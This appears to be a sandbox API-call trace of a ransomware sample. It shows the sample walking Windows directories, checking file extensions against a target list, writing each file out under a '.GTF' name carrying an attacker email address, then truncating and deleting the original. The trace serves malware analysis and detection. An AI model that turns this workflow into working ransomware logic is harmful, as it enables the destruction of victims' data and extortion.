	[0090.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.913] lstrlenW (lpString=".jpg") returned 4
	[0090.913] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.913] lstrlenW (lpString=".doc") returned 4
	[0090.913] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.913] lstrlenW (lpString=".docx") returned 5
	[0090.913] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0090.913] lstrlenW (lpString=".pdf") returned 4
	[0090.913] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.913] lstrlenW (lpString=".xls") returned 4
	[0090.913] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.914] lstrlenW (lpString=".xlsx") returned 5
	[0090.914] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0090.914] lstrlenW (lpString=".ppt") returned 4
	[0090.914] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.914] lstrlenW (lpString=".zip") returned 4
	[0090.914] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.914] lstrlenW (lpString=".rar") returned 4
	[0090.914] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.914] lstrlenW (lpString=".bz2") returned 4
	[0090.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.914] lstrlenW (lpString=".7z") returned 3
	[0090.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.914] lstrlenW (lpString=".dbf") returned 4
	[0090.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.914] lstrlenW (lpString=".1cd") returned 4
	[0090.914] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.914] lstrlenW (lpString=".jpg") returned 4
	[0090.914] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.914] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.914] lstrlenW (lpString="glib-lite.dll") returned 13
	[0090.914] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0090.915] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=455744) returned 1
	[0090.915] CloseHandle (hObject=0x364) returned 1
	[0090.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20
	[0090.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0090.915] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.915] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0091.410] GetLastError () returned 0x0
	[0091.410] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x6f440, lpOverlapped=0x0) returned 1
	[0091.421] WriteFile (in: hFile=0x368, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x6f450, lpOverlapped=0x0) returned 1
	[0091.428] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.428] WriteFile (in: hFile=0x368, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xee, lpOverlapped=0x0) returned 1
	[0091.428] SetEndOfFile (hFile=0x368) returned 1
	[0091.433] CloseHandle (hObject=0x368) returned 1
	[0091.433] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.433] SetEndOfFile (hFile=0x364) returned 1
	[0091.437] CloseHandle (hObject=0x364) returned 1
	[0091.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0091.437] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1
	[0091.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.437] lstrlenW (lpString=".doc") returned 4
	[0091.438] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.438] lstrlenW (lpString=".docx") returned 5
	[0091.438] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0091.438] lstrlenW (lpString=".pdf") returned 4
	[0091.438] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.438] lstrlenW (lpString=".xls") returned 4
	[0091.438] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.438] lstrlenW (lpString=".xlsx") returned 5
	[0091.438] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0091.438] lstrlenW (lpString=".ppt") returned 4
	[0091.438] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.438] lstrlenW (lpString=".zip") returned 4
	[0091.438] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.438] lstrlenW (lpString=".rar") returned 4
	[0091.438] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.438] lstrlenW (lpString=".bz2") returned 4
	[0091.438] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.438] lstrlenW (lpString=".7z") returned 3
	[0091.438] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.438] lstrlenW (lpString=".dbf") returned 4
	[0091.438] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.438] lstrlenW (lpString=".1cd") returned 4
	[0091.438] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.438] lstrlenW (lpString=".jpg") returned 4
	[0091.438] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.438] lstrlenW (lpString=".doc") returned 4
	[0091.438] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.439] lstrlenW (lpString=".docx") returned 5
	[0091.439] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0091.439] lstrlenW (lpString=".pdf") returned 4
	[0091.439] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.439] lstrlenW (lpString=".xls") returned 4
	[0091.439] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.439] lstrlenW (lpString=".xlsx") returned 5
	[0091.439] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0091.439] lstrlenW (lpString=".ppt") returned 4
	[0091.439] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.439] lstrlenW (lpString=".zip") returned 4
	[0091.439] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.439] lstrlenW (lpString=".rar") returned 4
	[0091.439] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.439] lstrlenW (lpString=".bz2") returned 4
	[0091.439] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.439] lstrlenW (lpString=".7z") returned 3
	[0091.439] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.439] lstrlenW (lpString=".dbf") returned 4
	[0091.439] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.439] lstrlenW (lpString=".1cd") returned 4
	[0091.439] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0091.439] lstrlenW (lpString=".jpg") returned 4
	[0091.439] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.439] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0091.439] lstrlenW (lpString="j2pcsc.dll") returned 10
	[0091.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0091.441] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=19008) returned 1
	[0091.441] CloseHandle (hObject=0x364) returned 1
	[0091.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20
	[0091.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0091.441] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.442] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.442] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0091.442] GetLastError () returned 0x0
	[0091.442] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x4a40, lpOverlapped=0x0) returned 1
	[0091.444] WriteFile (in: hFile=0x368, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x4a50, lpOverlapped=0x0) returned 1
	[0091.445] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.445] WriteFile (in: hFile=0x368, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0091.445] SetEndOfFile (hFile=0x368) returned 1
	[0091.445] CloseHandle (hObject=0x368) returned 1
	[0091.445] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.445] SetEndOfFile (hFile=0x364) returned 1
	[0091.446] CloseHandle (hObject=0x364) returned 1
	[0091.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0091.447] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1
	[0091.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.447] lstrlenW (lpString=".doc") returned 4
	[0091.447] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.447] lstrlenW (lpString=".docx") returned 5
	[0091.447] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0091.447] lstrlenW (lpString=".pdf") returned 4
	[0091.447] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.447] lstrlenW (lpString=".xls") returned 4
	[0091.447] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.447] lstrlenW (lpString=".xlsx") returned 5
	[0091.447] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0091.447] lstrlenW (lpString=".ppt") returned 4
	[0091.447] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.447] lstrlenW (lpString=".zip") returned 4
	[0091.447] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.447] lstrlenW (lpString=".rar") returned 4
	[0091.447] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.447] lstrlenW (lpString=".bz2") returned 4
	[0091.447] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.447] lstrlenW (lpString=".7z") returned 3
	[0091.447] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.447] lstrlenW (lpString=".dbf") returned 4
	[0091.447] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.448] lstrlenW (lpString=".1cd") returned 4
	[0091.448] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.448] lstrlenW (lpString=".jpg") returned 4
	[0091.448] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.448] lstrlenW (lpString=".doc") returned 4
	[0091.448] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.448] lstrlenW (lpString=".docx") returned 5
	[0091.448] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0091.448] lstrlenW (lpString=".pdf") returned 4
	[0091.448] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.448] lstrlenW (lpString=".xls") returned 4
	[0091.448] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.448] lstrlenW (lpString=".xlsx") returned 5
	[0091.448] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0091.448] lstrlenW (lpString=".ppt") returned 4
	[0091.448] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.448] lstrlenW (lpString=".zip") returned 4
	[0091.448] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.448] lstrlenW (lpString=".rar") returned 4
	[0091.448] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.448] lstrlenW (lpString=".bz2") returned 4
	[0091.448] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.448] lstrlenW (lpString=".7z") returned 3
	[0091.448] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.448] lstrlenW (lpString=".dbf") returned 4
	[0091.448] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.448] lstrlenW (lpString=".1cd") returned 4
	[0091.448] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0091.448] lstrlenW (lpString=".jpg") returned 4
	[0091.449] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.449] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0091.449] lstrlenW (lpString="j2pkcs11.dll") returned 12
	[0091.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 19
	os_tid = 0x484

	[0062.069] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x3291268
	[0062.069] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x32a1270
	[0062.070] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c5a8
	[0062.070] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x7ad0f0
	[0062.070] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c458
	[0062.070] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x3d56020
	[0062.072] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c4d0
	[0062.072] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77c4d0, Size=0x20) returned 0x75eb60
	[0062.072] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c470
	[0062.072] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77c470, Size=0x20) returned 0x75eb88
	[0062.073] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0062.073] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0062.073] Wow64DisableWow64FsRedirection (in: OldValue=0x38dff50 | out: OldValue=0x38dff50*=0x0) returned 1
	[0062.073] lstrlenW (lpString="kernel32.dll") returned 12
	[0062.073] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eb60 | out: hHeap=0x720000) returned 1
	[0062.073] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0062.073] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eb88 | out: hHeap=0x720000) returned 1
	[0062.073] Sleep (dwMilliseconds=0x64) 
	[0062.407] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0062.407] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18
	[0062.407] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0062.559] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=144072) returned 1
	[0062.559] CloseHandle (hObject=0x2f4) returned 1
	[0062.559] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20
	[0062.559] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0062.559] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0062.560] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.560] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.560] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0062.560] GetLastError () returned 0x0
	[0062.560] ReadFile (in: hFile=0x2f4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x232c8, lpOverlapped=0x0) returned 1
	[0062.614] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x232d0, lpOverlapped=0x0) returned 1
	[0062.617] ReadFile (in: hFile=0x2f4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.617] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.617] SetEndOfFile (hFile=0x2fc) returned 1
	[0062.617] CloseHandle (hObject=0x2fc) returned 1
	[0062.621] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.621] SetEndOfFile (hFile=0x2f4) returned 1
	[0062.623] CloseHandle (hObject=0x2f4) returned 1
	[0062.623] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0062.623] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1
	[0062.623] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.623] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.623] lstrlenW (lpString=".doc") returned 4
	[0062.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.623] lstrlenW (lpString=".docx") returned 5
	[0062.623] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0062.624] lstrlenW (lpString=".pdf") returned 4
	[0062.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.624] lstrlenW (lpString=".xls") returned 4
	[0062.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.624] lstrlenW (lpString=".xlsx") returned 5
	[0062.624] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1
	[0062.624] lstrlenW (lpString=".ppt") returned 4
	[0062.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
